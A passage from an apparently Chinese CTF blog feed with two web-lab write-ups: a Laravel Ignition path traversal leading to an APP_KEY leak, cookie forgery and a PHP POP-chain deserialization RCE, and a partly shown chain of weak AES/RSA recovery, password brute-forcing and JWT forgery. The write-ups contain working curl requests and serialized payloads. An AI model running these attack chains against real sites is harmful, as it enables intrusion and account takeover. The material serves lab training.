/proc -prune -o -path /sys -prune -o -path /dev -prune -o -name <span class="hljs-string">&quot;*flag*&quot;</span> -<span class="hljs-built_in">print</span> 2&gt;/dev/null<br></code></pre></td></tr></table></figure><p>结果里有一条脱颖而出：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">/tmp/aaa123/flag.txt<br></code></pre></td></tr></table></figure><h3 id="6-4-读取-Flag"><a href="#6-4-读取-Flag" class="headerlink" title="6.4 读取 Flag"></a>6.4 读取 Flag</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">sh -c <span class="hljs-string">&#x27;cat /tmp/aaa123/flag.txt &gt; rce_flag_final.txt&#x27;</span><br></code></pre></td></tr></table></figure><p>把内容写到 public 目录，然后直接 HTTP GET 读：</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">GET</span> /rce_flag_final.txt<br><br><span class="hljs-attribute">flag</span>&#123;b2706734-f623-<span class="hljs-number">437</span>e-<span class="hljs-number">8924</span>-f94ab0ee81d0&#125;<br></code></pre></td></tr></table></figure><hr><h2 id="七、总结与踩坑笔记"><a href="#七、总结与踩坑笔记" class="headerlink" title="七、总结与踩坑笔记"></a>七、总结与踩坑笔记</h2><h3 id="攻击链全景"><a href="#攻击链全景" class="headerlink" title="攻击链全景"></a>攻击链全景</h3><figure class="highlight sqf"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs sqf">信息收集<br>  └→ 发现 /<span class="hljs-variable">_ignition</span>/execute-solution 端点<br>       └→ 路径遍历（....<span class="hljs-comment">// 双写绕过 ../ 过滤）</span><br>            └→ php:<span class="hljs-comment">//filter base64 编码（绕过响应内容检测）</span><br>                 └→ 读取 .env → 拿到 APP_KEY<br>                      └→ 读取源码 → 发现隐藏文件 + 反序列化入口<br>                           └→ 用 APP_KEY 伪造 laravel_session Cookie（admin260117）<br>                                └→ 带伪造 Cookie 读隐藏文件 → 拿到 POP 链类定义<br>                                     └→ 构造 POP 链 payload → POST 触发反序列化<br>                                          └→ <span class="hljs-built_in">exec</span>() 无回显 RCE<br>                                               └→ <span class="hljs-built_in">find</span> 定位 <span class="hljs-built_in">flag</span> → cat 读取<br>                                                    └→ <span class="hljs-built_in">flag</span>&#123;b2706734-...&#125;<br></code></pre></td></tr></table></figure><h3 id="关键绕过对照"><a href="#关键绕过对照" class="headerlink" title="关键绕过对照"></a>关键绕过对照</h3><table><thead><tr><th>WAF 层</th><th>过滤方式</th><th>绕过方式</th></tr></thead><tbody><tr><td>路径遍历</td><td><code>str_replace(&#39;../&#39;, &#39;&#39;, $viewFile)</code></td><td>双写 <code>....//</code>，替换后还原成 <code>../</code></td></tr><tr><td>内容检测</td><td><code>stripos($content, $sensitiveKeyword)</code></td><td><code>php://filter/convert.base64-encode</code> 编码</td></tr><tr><td>身份校验</td><td><code>laravel_session</code> 解密后须等于 <code>admin260117</code></td><td>用泄露的 APP_KEY 加密伪造 Cookie</td></tr></tbody></table><h3 id="踩坑记录"><a href="#踩坑记录" class="headerlink" title="踩坑记录"></a>踩坑记录</h3><p><strong>坑一：误判后端系统</strong></p><p>报错路径 <code>D:\path\resources\views</code> 看起来是 Windows，但实际后端是 Linux 容器。这个 <code>D:\path</code> 是靶场硬编码的干扰字符串，跟真实环境无关。教训：不要单凭一个字符串就下结论，用 <code>id</code>、<code>uname -a</code> 这种命令快速确认。</p><p><strong>坑二：exec() 不走 shell</strong></p><p>PHP 的 <code>exec()</code>、<code>system()</code> 等函数在 Linux 上不走 shell，<code>&gt;</code>、<code>|</code>、<code>&amp;&amp;</code> 这些 shell 元字符不会被解析。要使用重定向、管道、命令链，必须显式 <code>sh -c &#39;完整命令&#39;</code> 包裹。这一步卡了不少时间——反序列化明明触发了，文件却一直空，直到换成 <code>sh -c</code> 才通。</p><p><strong>坑三：手动构造序列化容易数错类名长度</strong></p><p>PHP 序列化格式里 <code>O:18:&quot;App\Hidden\Profile&quot;</code> 的数字是完整类名（含命名空间和反斜杠）的字节长度。<code>App\Hidden\Profile</code> 有 18 个字符，<code>App\Hidden\Database</code> 有 19 个，<code>App\Hidden\Command</code> 有 18 个。手动数很容易差一个，导致 <code>unserialize()</code> 失败。本地有 PHP 的话，直接写类定义 + <code>serialize()</code> 最稳。</p><hr><h2 id="附：工具与命令速查"><a href="#附：工具与命令速查" class="headerlink" title="附：工具与命令速查"></a>附：工具与命令速查</h2><h3 id="文件读取（Ignition-端点）"><a href="#文件读取（Ignition-端点）" class="headerlink" title="文件读取（Ignition 端点）"></a>文件读取（Ignition 端点）</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl -X POST <span class="hljs-string">&quot;http://target/_ignition/execute-solution&quot;</span> \<br>  -H <span class="hljs-string">&quot;Content-Type: application/json&quot;</span> \<br>  -d <span class="hljs-string">&#x27;&#123;&quot;solution&quot;:&quot;Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution&quot;,</span><br><span class="hljs-string">       &quot;parameters&quot;:&#123;&quot;viewFile&quot;:&quot;php://filter/convert.base64-encode/resource=....//.env&quot;,</span><br><span class="hljs-string">       &quot;variableName&quot;:&quot;username&quot;&#125;&#125;&#x27;</span><br></code></pre></td></tr></table></figure><h3 id="Cookie-伪造（Python）"><a href="#Cookie-伪造（Python）" class="headerlink" title="Cookie 伪造（Python）"></a>Cookie 伪造（Python）</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">prefix = hmac.new(key, <span class="hljs-string">b&quot;laravel_sessionv2&quot;</span>, hashlib.sha1).hexdigest() + <span class="hljs-string">&quot;|&quot;</span><br>plaintext = prefix + <span class="hljs-string">&quot;admin260117&quot;</span><br><span class="hljs-comment"># AES-256-CBC encrypt -&gt; base64 -&gt; JSON &#123;iv, value, mac, tag&#125; -&gt; base64</span><br></code></pre></td></tr></table></figure><h3 id="POP-链-payload（PHP-serialize）"><a href="#POP-链-payload（PHP-serialize）" class="headerlink" title="POP 链 payload（PHP serialize）"></a>POP 链 payload（PHP serialize）</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$cmd</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Command</span>();<br><span class="hljs-variable">$cmd</span>-&gt;cmd = <span class="hljs-string">&quot;sh -c &#x27;cat /tmp/flag &gt; /var/www/html/public/out.txt&#x27;&quot;</span>;<br><span class="hljs-variable">$db</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Database</span>(); <span class="hljs-variable">$db</span>-&gt;host = <span class="hljs-variable">$cmd</span>;<br><span class="hljs-variable">$p</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Profile</span>(); <span class="hljs-variable">$p</span>-&gt;db = <span class="hljs-variable">$db</span>;<br><span class="hljs-variable">$u</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>(); <span class="hljs-variable">$u</span>-&gt;profile = <span class="hljs-variable">$p</span>;<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$u</span>));<br></code></pre></td></tr></table></figure><h3 id="触发反序列化"><a href="#触发反序列化" class="headerlink" title="触发反序列化"></a>触发反序列化</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl -X POST <span class="hljs-string">&quot;http://target/8167e48f725d4335b6388bdf54b5bd8a.php&quot;</span> \<br>  -b <span class="hljs-string">&quot;laravel_session=（伪造 Cookie）&quot;</span> \<br>  -d <span class="hljs-string">&quot;payload=（base64 序列化对象）&quot;</span><br></code></pre></td></tr></table></figure><hr><blockquote><p>Flag：<code>flag&#123;b2706734-f623-437e-8924-f94ab0ee81d0&#125;</code></p><p>通关。</p></blockquote>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/03/TraversalHunter/</id>
    <link href="http://82.156.189.140:8085/2026/07/03/TraversalHunter/"/>
    <published>2026-07-03T14:27:03.000Z</published>
    <summary>
      <![CDATA[<p>﻿# Delta Breach 靶场通关实录：从信息收集到 POP 链无回显 RCE</p>
<blockquote>
<p>靶场来源：雾島风起時<br>类型：综合 Web 渗透靶场<br>目标：<code>ulab.bdziyi.cn:20737</code><br>通关]]>
    </summary>
    <title>TraversalHunter</title>
    <updated>2026-07-18T03:15:21.943Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="题解" scheme="http://82.156.189.140:8085/categories/%E9%A2%98%E8%A7%A3/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="Writeup" scheme="http://82.156.189.140:8085/tags/Writeup/"/>
    <content>
      <![CDATA[<h1 id="越权密钥-CTF-Web-安全综合挑战-Writeup"><a href="#越权密钥-CTF-Web-安全综合挑战-Writeup" class="headerlink" title="越权密钥 - CTF Web 安全综合挑战 Writeup"></a>越权密钥 - CTF Web 安全综合挑战 Writeup</h1><h2 id="挑战概述"><a href="#挑战概述" class="headerlink" title="挑战概述"></a>挑战概述</h2><p><strong>靶场名称</strong>: 越权密钥 - 雾島风起時<br><strong>类型</strong>: 综合 Web 安全靶场<br><strong>难度</strong>: 中高级<br><strong>Flag</strong>: <code>flag&#123;9d55332b-52fc-49cd-a79f-9900a88cd24b&#125;</code></p><p>这是一个模拟真实业务场景的Web安全挑战，背景设定为”三角洲行动游戏陪玩下单平台”。整个攻击链涉及前端加密逆向、弱密码学、越权访问、信息泄露、JWT伪造等多个安全知识点，是一道非常有价值的综合性题目。</p><h2 id="攻击链路径"><a href="#攻击链路径" class="headerlink" title="攻击链路径"></a>攻击链路径</h2><p>整个挑战包含5个关键步骤，环环相扣：</p><ol><li><strong>前端加密逆向</strong> - 逆向AES-CBC加密参数完成登录</li><li><strong>IDOR越权攻击</strong> - 分解弱RSA公钥还原打手加密标识</li><li><strong>敏感信息挖掘</strong> - 从客服聊天记录中挖掘隐藏报酬接口</li><li><strong>JWT伪造提权</strong> - 通过alg:none绕过或伪造令牌提权</li><li><strong>获取Flag</strong> - 访问隐藏接口获取最终Flag</li></ol><p>让我们逐步深入分析每个环节的技术细节。</p><hr><h2 id="Step-1-前端加密逆向-AES-CBC"><a href="#Step-1-前端加密逆向-AES-CBC" class="headerlink" title="Step 1: 前端加密逆向 (AES-CBC)"></a>Step 1: 前端加密逆向 (AES-CBC)</h2><h3 id="1-1-发现加密机制"><a href="#1-1-发现加密机制" class="headerlink" title="1.1 发现加密机制"></a>1.1 发现加密机制</h3><p>访问靶场首页后，发现登录功能。查看页面源码，注意到加载了一个特殊的JavaScript文件：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;/static/js/login_crypto.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure><h3 id="1-2-分析加密实现"><a href="#1-2-分析加密实现" class="headerlink" title="1.2 分析加密实现"></a>1.2 分析加密实现</h3><p>下载并分析<code>login_crypto.js</code>文件，发现密码在前端使用AES-CBC模式加密：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> <span class="hljs-variable constant_">KEY_BYTES</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Uint8Array</span>([<br>    <span class="hljs-number">0x44</span>, <span class="hljs-number">0x46</span>, <span class="hljs-number">0x2d</span>, <span class="hljs-number">0x6c</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x67</span>, <span class="hljs-number">0x69</span>, <span class="hljs-number">0x6e</span>, <br>    <span class="hljs-number">0x2d</span>, <span class="hljs-number">0x6b</span>, <span class="hljs-number">0x65</span>, <span class="hljs-number">0x79</span>, <span class="hljs-number">0x2d</span>, <span class="hljs-number">0x31</span>, <span class="hljs-number">0x36</span>, <span class="hljs-number">0x21</span><br>]);  <span class="hljs-comment">// &quot;DF-login-key-16!&quot;</span><br><br><span class="hljs-keyword">const</span> <span class="hljs-variable constant_">IV_BYTES</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Uint8Array</span>([<br>    <span class="hljs-number">0x31</span>, <span class="hljs-number">0x36</span>, <span class="hljs-number">0x2d</span>, <span class="hljs-number">0x62</span>, <span class="hljs-number">0x79</span>, <span class="hljs-number">0x74</span>, <span class="hljs-number">0x65</span>, <span class="hljs-number">0x2d</span>, <br>    <span class="hljs-number">0x6c</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x67</span>, <span class="hljs-number">0x69</span>, <span class="hljs-number">0x6e</span>, <span class="hljs-number">0x2d</span>, <span class="hljs-number">0x69</span>, <span class="hljs-number">0x76</span><br>]);  <span class="hljs-comment">// &quot;16-byte-login-iv&quot;</span><br></code></pre></td></tr></table></figure><p><strong>关键发现</strong>：</p><ul><li>加密算法：AES-CBC</li><li>密钥长度：128位（16字节）</li><li>KEY和IV都硬编码在前端JS中</li><li>加密后使用Base64编码传输</li></ul><h3 id="1-3-编写加密脚本"><a href="#1-3-编写加密脚本" class="headerlink" title="1.3 编写加密脚本"></a>1.3 编写加密脚本</h3><p>基于发现的密钥参数，编写Python加密脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES<br><span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad<br><span class="hljs-keyword">import</span> base64<br><br>KEY = <span class="hljs-string">b&#x27;DF-login-key-16!&#x27;</span><br>IV = <span class="hljs-string">b&#x27;16-byte-login-iv&#x27;</span><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">encrypt_password</span>(<span class="hljs-params">password</span>):<br>    cipher = AES.new(KEY, AES.MODE_CBC, IV)<br>    padded = pad(password.encode(), AES.block_size)<br>    encrypted = cipher.encrypt(padded)<br>    <span class="hljs-keyword">return</span> base64.b64encode(encrypted).decode()<br></code></pre></td></tr></table></figure><h3 id="1-4-测试登录"><a href="#1-4-测试登录" class="headerlink" title="1.4 测试登录"></a>1.4 测试登录</h3><p>注册测试账号并成功登录：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 注册普通用户</span><br>curl -X POST http://target/api/crew/register \<br>  -H <span class="hljs-string">&quot;Content-Type: application/json&quot;</span> \<br>  -d <span class="hljs-string">&#x27;&#123;&quot;role&quot;:&quot;user&quot;,&quot;display_name&quot;:&quot;testuser&quot;,&quot;username&quot;:&quot;testuser001&quot;,&quot;password&quot;:&quot;test123456&quot;&#125;&#x27;</span><br><br><span class="hljs-comment"># 登录（密码需要AES-CBC加密）</span><br>encrypted_pwd = <span class="hljs-string">&quot;2K9FXkBb0P0fDfcxIMUezQ==&quot;</span>  <span class="hljs-comment"># &quot;test123456&quot;加密后</span><br></code></pre></td></tr></table></figure><p><strong>收获</strong>：获得了access_token，成功突破前端加密保护。</p><hr><h2 id="Step-2-IDOR越权-弱RSA密钥分解"><a href="#Step-2-IDOR越权-弱RSA密钥分解" class="headerlink" title="Step 2: IDOR越权 - 弱RSA密钥分解"></a>Step 2: IDOR越权 - 弱RSA密钥分解</h2><h3 id="2-1-发现加密用户名"><a href="#2-1-发现加密用户名" class="headerlink" title="2.1 发现加密用户名"></a>2.1 发现加密用户名</h3><p>在获取打手列表的API响应中，发现所有打手的<code>username</code>字段都是Base64编码的密文：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;display_name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Kilo北栈&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;username&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;lIDIGKDeTcwfrqe/FUK4x92KAJB1wjt0IDhDZGWBBEruVGgyOH/yQVBe7iOwnP8pEAlx6YqrVeuff5rdRq77ew==&quot;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><h3 id="2-2-寻找RSA公钥"><a href="#2-2-寻找RSA公钥" class="headerlink" title="2.2 寻找RSA公钥"></a>2.2 寻找RSA公钥</h3><p>经过探索，发现RSA公钥在专门的API端点：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl http://target/api/rsa_gen \<br>  -H <span class="hljs-string">&quot;X-Access-Token: YOUR_TOKEN&quot;</span><br></code></pre></td></tr></table></figure><p>响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;alg&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;RSA/PKCS1v1.5&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;pubkey&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;-----BEGIN PUBLIC KEY-----\nMFwwDQYJ...\n-----END PUBLIC KEY-----&quot;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><h3 id="2-3-分析RSA密钥强度"><a href="#2-3-分析RSA密钥强度" class="headerlink" title="2.3 分析RSA密钥强度"></a>2.3 分析RSA密钥强度</h3><p>提取RSA参数：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> Crypto.PublicKey <span class="hljs-keyword">import</span> RSA<br><br>key = RSA.import_key(<span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;rsa_public.pem&#x27;</span>).read())<br><span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;Modulus N: <span class="hljs-subst">&#123;key.n&#125;</span>&#x27;</span>)<br><span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;Exponent e: <span class="hljs-subst">&#123;key.e&#125;</span>&#x27;</span>)<br><span class="hljs-built_in">print</span>(<span class="hljs-string">f&#x27;Key size: <span class="hljs-subst">&#123;key.size_in_bits()&#125;</span> bits&#x27;</span>)<br></code></pre></td></tr></table></figure><p>输出：</p><figure class="highlight mathematica"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs mathematica"><span class="hljs-built_in">Modulus</span> <span class="hljs-built_in">N</span><span class="hljs-operator">:</span> <span class="hljs-number">127329206056000281178105207772906325154069.</span><span class="hljs-operator">..</span><br><span class="hljs-built_in">Exponent</span> <span class="hljs-variable">e</span><span class="hljs-operator">:</span> <span class="hljs-number">65537</span><br><span class="hljs-built_in">Key</span> <span class="hljs-variable">size</span><span class="hljs-operator">:</span> <span class="hljs-number">512</span> <span class="hljs-variable">bits</span><br></code></pre></td></tr></table></figure><p><strong>关键发现</strong>：这是一个512位的RSA密钥，在现代标准中属于极弱密钥，可以被快速分解！</p><h3 id="2-4-分解弱RSA模数"><a href="#2-4-分解弱RSA模数" class="headerlink" title="2.4 分解弱RSA模数"></a>2.4 分解弱RSA模数</h3><p>使用Python的sympy库可以快速分解512位RSA模数：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> sympy <span class="hljs-keyword">import</span> factorint<br><br>N = <span class="hljs-number">12732920605600028117810520777290632515406900458295844114646658469338740536327.</span>..<br>factors = factorint(N)<br><br>p = <span class="hljs-number">112840243732455789648197748865738103507498045177858510412060728452781414555669</span><br>q = <span class="hljs-number">112840243732455789648197748865738103507498045177858510412060728452781414556103</span><br></code></pre></td></tr></table></figure><p>计算私钥指数d：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs python">phi = (p - <span class="hljs-number">1</span>) * (q - <span class="hljs-number">1</span>)<br>d = <span class="hljs-built_in">pow</span>(e, -<span class="hljs-number">1</span>, phi)<br><br><span class="hljs-comment"># 构造完整私钥</span><br><span class="hljs-keyword">from</span> Crypto.PublicKey <span class="hljs-keyword">import</span> RSA<br>key = RSA.construct((N, e, d, p, q))<br></code></pre></td></tr></table></figure><h3 id="2-5-解密打手用户名"><a href="#2-5-解密打手用户名" class="headerlink" title="2.5 解密打手用户名"></a>2.5 解密打手用户名</h3><p>使用生成的私钥解密Base64编码的用户名：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> PKCS1_v1_5<br><span class="hljs-keyword">import</span> base64<br><br>private_key = RSA.import_key(<span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;rsa_private.pem&#x27;</span>).read())<br>cipher = PKCS1_v1_5.new(private_key)<br><br>encrypted = base64.b64decode(<span class="hljs-string">&quot;lIDIGKDeTcwfrqe/FUK4x92KAJB1wjt0...&quot;</span>)<br>decrypted = cipher.decrypt(encrypted, <span class="hljs-literal">None</span>)<br><span class="hljs-built_in">print</span>(decrypted.decode())  <span class="hljs-comment"># 输出: kilo</span><br></code></pre></td></tr></table></figure><p><strong>成功解密多个打手的真实用户名</strong>：</p><ul><li>kilo</li><li>raven</li><li>merc</li><li>frost</li><li>…</li></ul><h3 id="2-6-密码爆破"><a href="#2-6-密码爆破" class="headerlink" title="2.6 密码爆破"></a>2.6 密码爆破</h3><p>获得真实用户名后，下一步是获取密码。使用提供的爆破脚本配合常见密码字典：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash">python3 brute_login.py \<br>  --base-url http://target \<br>  --username kilo \<br>  --wordlist rockyou.txt \<br>  --threads 8<br></code></pre></td></tr></table></figure><p><strong>爆破成功</strong>：kilo 的密码为 <code>letmein</code></p><hr><h2 id="Step-3-客服聊天记录挖掘"><a href="#Step-3-客服聊天记录挖掘" class="headerlink" title="Step 3: 客服聊天记录挖掘"></a>Step 3: 客服聊天记录挖掘</h2><h3 id="3-1-以真实打手身份登录"><a href="#3-1-以真实打手身份登录" class="headerlink" title="3.1 以真实打手身份登录"></a>3.1 以真实打手身份登录</h3><p>使用解密的用户名和爆破出的密码登录：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 加密密码</span><br>encrypted_pwd = encrypt_password(<span class="hljs-string">&quot;letmein&quot;</span>)  <span class="hljs-comment"># &quot;9Y0I5DD+U5ymnvO0KJ4HTQ==&quot;</span><br><br><span class="hljs-comment"># 登录请求</span><br>response = requests.post(<br>    <span class="hljs-string">&quot;http://target/api/account/login&quot;</span>,<br>    json=&#123;<span class="hljs-string">&quot;username&quot;</span>: <span class="hljs-string">&quot;kilo&quot;</span>, <span class="hljs-string">&quot;password&quot;</span>: encrypted_pwd&#125;<br>)<br></code></pre></td></tr></table></figure><p>成功获取kilo的访问令牌：</p><ul><li><code>access_token</code>: HEkUy_HI4CKQiIdsqBKW0XAnxcN4LuTM</li><li><code>money_token</code> (JWT): eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9…</li></ul><h3 id="3-2-查看客服消息"><a href="#3-2-查看客服消息" class="headerlink" title="3.2 查看客服消息"></a>3.2 查看客服消息</h3><p>使用kilo的token访问客服消息接口：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl http://target/api/booster/support/messages \<br>  -H <span class="hljs-string">&quot;X-Access-Token: HEkUy_HI4CKQiIdsqBKW0XAnxcN4LuTM&quot;</span><br></code></pre></td></tr></table></figure><p><strong>关键发现</strong>！在客服消息中找到隐藏的报酬接口路径：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;content&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;请前往 http://localhost/money/15d25cb334a84bfb93a604549df9a570 领取你的报酬&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;sender&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;客服&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;side&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;agent&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;time&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;09:26&quot;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p><strong>隐藏API路径</strong>：<code>/money/15d25cb334a84bfb93a604549df9a570</code></p><p>这正是我们需要的关键信息！只有真实打手账号的客服消息中才包含这个隐藏路径。</p><hr><h2 id="Step-4-JWT伪造提权"><a href="#Step-4-JWT伪造提权" class="headerlink" title="Step 4: JWT伪造提权"></a>Step 4: JWT伪造提权</h2><h3 id="4-1-尝试访问报酬接口"><a href="#4-1-尝试访问报酬接口" class="headerlink" title="4.1 尝试访问报酬接口"></a>4.1 尝试访问报酬接口</h3><p>直接使用kilo的JWT token访问隐藏的报酬接口：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl http://target/money/15d25cb334a84bfb93a604549df9a570 \<br>  -H <span class="hljs-string">&quot;Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...&quot;</span><br></code></pre></td></tr></table></figure><p>响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;forbidden&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;insufficient privilege&quot;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p><strong>权限不足</strong>！需要提升JWT token的权限级别。</p><h3 id="4-2-分析JWT结构"><a href="#4-2-分析JWT结构" class="headerlink" title="4.2 分析JWT结构"></a>4.2 分析JWT结构</h3><p>解码JWT token查看其结构：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 